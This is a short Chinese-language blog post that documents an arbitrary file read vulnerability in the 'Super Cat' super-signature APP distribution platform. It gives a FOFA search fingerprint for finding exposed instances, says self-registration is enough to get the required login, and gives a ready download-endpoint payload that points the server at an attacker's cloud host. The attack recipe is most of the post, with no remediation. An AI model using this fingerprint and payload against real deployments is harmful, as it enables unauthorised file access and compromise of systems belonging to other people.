Babing
Published on 2024-08-30 / 1 Visits
0
0

C15-2超级猫-签名APP分发平台-任意文件读取

C15-2超级猫-签名APP分发平台-任意文件读取

漏洞描述:

超级猫超级签名分发平台是一个安卓苹果APP分发平台,能够对所有安卓苹果的APP进行签名分发,使所有自行开发的APP能够签名使用,包括登录注册等功能,还提供有SDK

fofa语法:

“/themes/97013266/public/static/css/pc.css”

漏洞复现:

注意这里需要先登录,这处可以直接注册的
payload:

/user/profile/download?url=http://云服务器地址/111.php&path=1

效果图:
效果图
效果图:
效果图


Comment